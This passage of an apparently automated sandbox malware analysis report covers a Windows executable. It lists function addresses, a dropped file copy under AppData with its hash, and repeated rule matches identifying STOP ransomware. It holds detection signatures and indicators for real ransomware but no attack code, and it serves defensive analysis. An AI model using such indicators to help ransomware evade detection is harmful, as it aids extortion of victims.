Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_043689D0	3_2_043689D0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0436CA10	3_2_0436CA10
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04367A80	3_2_04367A80
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04370B00	3_2_04370B00
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04362B60	3_2_04362B60
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0436DBE0	3_2_0436DBE0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0042E003	4_2_0042E003
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040D240	4_2_0040D240
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0041E690	4_2_0041E690
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040F730	4_2_0040F730
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00481920	4_2_00481920
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00419F90	4_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050D050	4_2_0050D050
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00405057	4_2_00405057
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040C070	4_2_0040C070
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0042F010	4_2_0042F010
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050D008	4_2_0050D008
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00408030	4_2_00408030
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050D028	4_2_0050D028
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_004070E0	4_2_004070E0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050D090	4_2_0050D090
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050D0A8	4_2_0050D0A8
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00410160	4_2_00410160
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_004C8113	4_2_004C8113
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_004021C0	4_2_004021C0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_004C9343	4_2_004C9343
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0044237E	4_2_0044237E
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00405447	4_2_00405447
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00405457	4_2_00405457
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_004084C0	4_2_004084C0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050C4E0	4_2_0050C4E0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_004344FF	4_2_004344FF
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00449506	4_2_00449506
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0043E5A3	4_2_0043E5A3
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0044B5B1	4_2_0044B5B1
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040A660	4_2_0040A660
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00409686	4_2_00409686
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00406740	4_2_00406740
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00402750	4_2_00402750
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040A710	4_2_0040A710
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00408780	4_2_00408780
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0044D7A1	4_2_0044D7A1
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0042C804	4_2_0042C804
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00406880	4_2_00406880
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050C960	4_2_0050C960
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050C928	4_2_0050C928
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0044D9DC	4_2_0044D9DC
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_004069F3	4_2_004069F3
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050C988	4_2_0050C988
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050C9A8	4_2_0050C9A8
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00449A71	4_2_00449A71
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00443B40	4_2_00443B40
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050CB78	4_2_0050CB78
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00402B80	4_2_00402B80
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00406B80	4_2_00406B80
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00409CF9	4_2_00409CF9
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0044ACFF	4_2_0044ACFF
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040DD40	4_2_0040DD40
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050CD60	4_2_0050CD60
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040BDC0	4_2_0040BDC0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050CDF0	4_2_0050CDF0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00409DFA	4_2_00409DFA
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050CE58	4_2_0050CE58
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0042CE51	4_2_0042CE51
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00406EE0	4_2_00406EE0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00409F76	4_2_00409F76
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00420F30	4_2_00420F30
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050CF28	4_2_0050CF28
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050CFC0	4_2_0050CFC0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00449FE3	4_2_00449FE3
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050CF90	4_2_0050CF90
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04343520	5_2_04343520
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04347520	5_2_04347520
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0438B69F	5_2_0438B69F
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0434A699	5_2_0434A699
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0434E6E0	5_2_0434E6E0
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0434C760	5_2_0434C760
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0434A79A	5_2_0434A79A
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0436D7F1	5_2_0436D7F1
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0435F030	5_2_0435F030
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0434A026	5_2_0434A026
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0434B000	5_2_0434B000
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0434B0B0	5_2_0434B0B0
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_043430F0	5_2_043430F0
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_043470E0	5_2_043470E0
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_043500D0	5_2_043500D0
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04349120	5_2_04349120
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0438E141	5_2_0438E141
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0436D1A4	5_2_0436D1A4
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04347220	5_2_04347220
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_043C22C0	5_2_043C22C0
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0438E37C	5_2_0438E37C
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04347393	5_2_04347393
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04382D1E	5_2_04382D1E
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04345DF7	5_2_04345DF7
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04345DE7	5_2_04345DE7
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04348E60	5_2_04348E60
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04374E9F	5_2_04374E9F
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04347880	5_2_04347880
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_043618D0	5_2_043618D0
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0434A916	5_2_0434A916
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0436F9B0	5_2_0436F9B0
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0436E9A3	5_2_0436E9A3
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_043459F7	5_2_043459F7
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_043489D0	5_2_043489D0
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0434CA10	5_2_0434CA10
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04347A80	5_2_04347A80
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04350B00	5_2_04350B00
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04342B60	5_2_04342B60
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_0434DBE0	5_2_0434DBE0

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe 635A73433A258FA5A9B3B015F57CA84E1C296E9B65888FB64EBB602213A9D49D

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 04388EC0 appears 57 times
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 00428C81 appears 66 times
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 00420EC2 appears 40 times
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 04420160 appears 49 times
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 004547A0 appears 64 times
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 00422587 appears 48 times
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 0042F7C0 appears 129 times
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 0044F23E appears 108 times
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 00428520 appears 125 times
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 04418EC0 appears 57 times
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 00450870 appears 52 times
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 00454E50 appears 62 times
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 04390160 appears 49 times
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 00441A25 appears 44 times
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: String function: 0044F26C appears 41 times
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: String function: 04368EC0 appears 57 times
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: String function: 04370160 appears 49 times

Source: n41dQbiw1Y.exe, 00000000.00000000.1653565044.0000000002610000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHugidfgy.exe6 vs n41dQbiw1Y.exe
Source: n41dQbiw1Y.exe, 00000001.00000003.1667510929.00000000030B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHugidfgy.exe6 vs n41dQbiw1Y.exe
Source: n41dQbiw1Y.exe, 00000001.00000000.1656430984.0000000002610000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHugidfgy.exe6 vs n41dQbiw1Y.exe
Source: n41dQbiw1Y.exe, 00000003.00000000.1671079505.0000000002610000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHugidfgy.exe6 vs n41dQbiw1Y.exe
Source: n41dQbiw1Y.exe, 00000004.00000000.1680194472.0000000002610000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHugidfgy.exe6 vs n41dQbiw1Y.exe
Source: n41dQbiw1Y.exe, 00000005.00000000.1684873688.0000000002610000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameHugidfgy.exe6 vs n41dQbiw1Y.exe
Source: n41dQbiw1Y.exe, 00000006.00000000.1688163979.0000000002610000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameHugidfgy.exe6 vs n41dQbiw1Y.exe
Source: n41dQbiw1Y.exe, 00000007.00000000.1797497251.0000000002610000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameHugidfgy.exe6 vs n41dQbiw1Y.exe
Source: n41dQbiw1Y.exe, 00000008.00000000.1800482331.0000000002610000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameHugidfgy.exe6 vs n41dQbiw1Y.exe
Source: n41dQbiw1Y.exe, 0000000A.00000002.1885352889.0000000002610000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameHugidfgy.exe6 vs n41dQbiw1Y.exe
Source: n41dQbiw1Y.exe, 0000000B.00000000.1884031351.0000000002610000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameHugidfgy.exe6 vs n41dQbiw1Y.exe
Source: n41dQbiw1Y.exe	Binary or memory string: OriginalFilenameHugidfgy.exe6 vs n41dQbiw1Y.exe

Source: n41dQbiw1Y.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.n41dQbiw1Y.exe.43f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.n41dQbiw1Y.exe.43f15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.n41dQbiw1Y.exe.43415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.n41dQbiw1Y.exe.43415a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.n41dQbiw1Y.exe.43615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.n41dQbiw1Y.exe.43615a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.n41dQbiw1Y.exe.43615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.n41dQbiw1Y.exe.43615a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.n41dQbiw1Y.exe.43f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.n41dQbiw1Y.exe.43f15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.n41dQbiw1Y.exe.43415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.n41dQbiw1Y.exe.43415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
